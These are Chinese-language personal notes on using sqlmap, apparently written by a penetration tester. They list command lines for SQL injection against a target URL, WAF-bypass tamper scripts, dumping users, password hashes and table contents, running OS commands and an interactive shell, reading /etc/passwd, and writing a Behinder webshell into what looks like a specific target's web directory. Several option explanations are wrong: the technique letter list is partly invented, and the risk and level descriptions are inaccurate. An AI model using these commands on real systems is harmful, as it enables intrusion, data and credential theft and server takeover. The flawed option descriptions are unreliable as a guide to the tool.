sqlmap使用笔记

1、常用命令

1
python sqlmap.py --random-agent --batch --level=2 --tamper=randomcase -u <url>

2、进阶使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 指定注入点参数
python sqlmap.py -r "request.txt" -p "id"
# 延时注入
python sqlmap.py -r r.txt --technique=T
# 自动爬行目标网站,同时使用表单注入
python sqlmap.py -u <url> --crawl=1
python sqlmap.py -u <url> --forms --crawl=2
python sqlmap.py -u <url> --forms --crawl=all
# POST注入|"--method=POST":指定POST请求|"-p":指定参数
python sqlmap.py -u <url> --data="username=admin&password=123456"
python sqlmap.py -u <url> --data="username=admin&password=123456" -p "username"
python sqlmap.py -u <url> --data="username=admin&password=123456" --method=POST
# 使用代理
python sqlmap.py -u <url> --batch --level=5 --risk=3 --proxy="http://127.0.0.1:8080"
# 伪静态注入
python sqlmap.py -u "http://example.com/news/1.html" --batch --level=5 --risk=3
# 指定数据库
python sqlmap.py -u <url> --dbms=mysql

3、延时注入

1
2
3
4
# 使用时间延迟注入,每个注入请求之后等待5秒钟
python sqlmap.py -u <url> --delay=5
# 使用时间延迟注入和布尔型盲注
python sqlmap.py -u <url> --delay=5 --technique=T --time-sec=5

4、绕过组合

1
2
3
4
5
6
# 绕过空格
python sqlmap.py -u <url> --tamper=space2comment,space2plus
# 绕过引号
python sqlmap.py -u <url> --tamper=apostrophemask,apostrophenullencode,doublequotemask,doublequotenullencode
# 绕过关键字
python sqlmap.py -u <url> --tamper=randomcase,space2morehash

5、基本用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
-D "blog" --tables	# 获取表名
-D "blog" -T "admin" --columns # 获取字段名
-D "blog" -T "admin" -C "username,password" --dump # 获取字段内容
--dbs # 获取所有数据库
--users # 获取所有用户名称
--passwords # 获取所有用户密码
--is-dba # 查看当前用户是否是管理员
--current-db # 获取当前数据库名称
--current-user # 获取当前用户名称
--common-tables # 暴力破解表名
--common-columns # 暴力破解字段名
--random-agent # 使用随机agent
--threads 10 # 多线程注入,默认3
--batch # 默认全部确定
--eta # 预估完成时间
--os-cmd=whoami # 执行系统命令
--os-shell # 系统交互shell
--flush-session # 会清空之前的session,重新测试该目标
--fresh-queries # 忽略session文件保存的查询,重新测试该目标
# risk
--risk=0:最低的风险级别,sqlmap将只执行最基本的测试
--risk=1:默认的风险级别,sqlmap将执行一些基本测试和一些较危险的测试
--risk=2:sqlmap将执行所有基本测试和所有危险的测试
--risk=3:最高的风险级别,sqlmap将执行所有基本测试、所有危险的测试和一些实验性的测试
# level
--level=1:默认等级,主要检测基本的SQL注入漏洞,测试速度最快
--level=2:增加了一些绕过技术和测试方法,测试的深度更深了一些,但仍然比较快
--level=3:测试更加深入,包括时间延迟注入、堆叠查询注入等高级注入技术,测试时间相对较长
--level=4:测试非常深入,包括二阶注入、布尔型注入等复杂的注入技术,测试时间较长
--level=5:测试最为深入,包括文件包含、XML注入等高级注入技术,测试时间最长
# technique
--technique=BEUSTQ: 基于布尔查询的注入技术
--technique=BENCHMARK: 基于数据库性能评估的注入技术
--technique=E: 基于错误消息的注入技术
--technique=F: 基于文件系统的注入技术
--technique=H: 基于HTTP头部的注入技术
--technique=M: 基于堆栈的注入技术
--technique=N: 基于Null的注入技术
--technique=Q: 基于查询的注入技术
--technique=S: 基于堆栈的注入技术
--technique=T: 基于时间延迟的注入技术
--technique=U: 基于Union查询的注入技术

6、高级用法

1
2
3
4
5
6
# 读取指定文件
--file-read /etc/passwd
# 写入webshell
--file-write "D:\\File\\Tools\\Default\\Behinder\\Behinder_v3.0_Beta_6\\server\\shell.php" --file-dest "G://HCEOA//www//frame//help//frame//help//shell.php"
# 执行指定的sql语句
--sql-query="<SQL_query>"

7、指定数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
MySQL:--dbms=mysql
PostgreSQL:--dbms=postgresql
Microsoft SQL Server:--dbms=mssql
Microsoft Access:--dbms=mdb
Oracle:--dbms=oracle
SQLite:--dbms=sqlite
Sybase:--dbms=sybase
Firebird:--dbms=firebird
Informix:--dbms=informix
MaxDB:--dbms=maxdb
DB2:--dbms=db2
HSQLDB:--dbms=hsqldb
MonetDB:--dbms=monetdb
Teradata:--dbms=teradata
MariaDB:--dbms=mariadb

8、tamper脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
randomcase.py # 作用:随机大小写
space2comment.py # 作用:将空格替换为/**/
space2plus.py # 作用:用加号替换空格
randomcomments.py # 作用:用注释符分割sql关键字
multiplespaces.py # 作用:围绕sql关键字添加多个空格
versionedkeywords.py # 作用:注释绕过
apostrophemask.py # 作用:将引号替换为utf-8,用于过滤单引号
base64encode.py # 作用:替换为base64编码
multiplespaces.py # 作用:围绕sql关键字添加多个空格
nonrecursivereplacement.py # 作用:作为双重查询语句,用双重语句替代预定义的sql关键字
space2randomblank.py # 作用:将空格替换为其他有效字符
unionalltounion.py # 作用:将union allselect 替换为unionselect
securesphere.py # 作用:追加特定的字符串
space2dash.py # 作用:将空格替换为--,并添加一个随机字符串和换行符
space2mssqlblank.py # 作用:将空格随机替换为其他空格符号
between.py # 作用:用NOT BETWEEN 0 AND # 替换>
percentage.py # 作用:在每个字符前添加一个%
sp_password.py # 作用:从T-SQL日志的自动迷糊处理的有效载荷中追加sp_password
charencode.py # 作用:对给定的payload全部字符使用url编码(不处理已经编码的字符)
charunicodeencode.py # 作用:适用字符串的unicode编码
equaltolike.py # 作用:将=替换为LIKE
ifnull2ifisnull.py # 作用:将类似于IFNULL(A, B)替换为IF(ISNULL(A), B, A),绕过对IFNULL的过滤
modsecurityversioned.py # 作用:过滤空格,使用mysql内联注释的方式进行注入
space2mysqlblank.py # 作用:将空格替换为其他空格符号('%09', '%0A', '%0C', '%0D', '%0B')
modsecurityzeroversioned.py # 作用:使用内联注释方式(/*!00000*/)进行注入
space2mysqldash.py # 作用:将空格替换为 -- ,并追随一个换行符
bluecoat.py # 作用:在sql语句之后用有效的随机空白字符替换空格符,随后用LIKE替换=
versionedkeywords.py # 作用:注释绕过
halfversionedmorekeywords.py # 作用:在每个关键字前添加mysql版本注释
space2morehash.py # 作用:将空格替换为# ,并添加一个随机字符串和换行符
apostrophenullencode.py # 作用:用非法双字节Unicode字符替换单引号
appendnullbyte.py # 作用:在有效载荷的结束位置加载null字节字符编码
chardoubleencode.py # 作用:对给定的payload全部字符使用双重url编码(不处理已经编码的字符)
unmagicquotes.py # 作用:用一个多字节组合%bf%27和末尾通用注释一起替换空格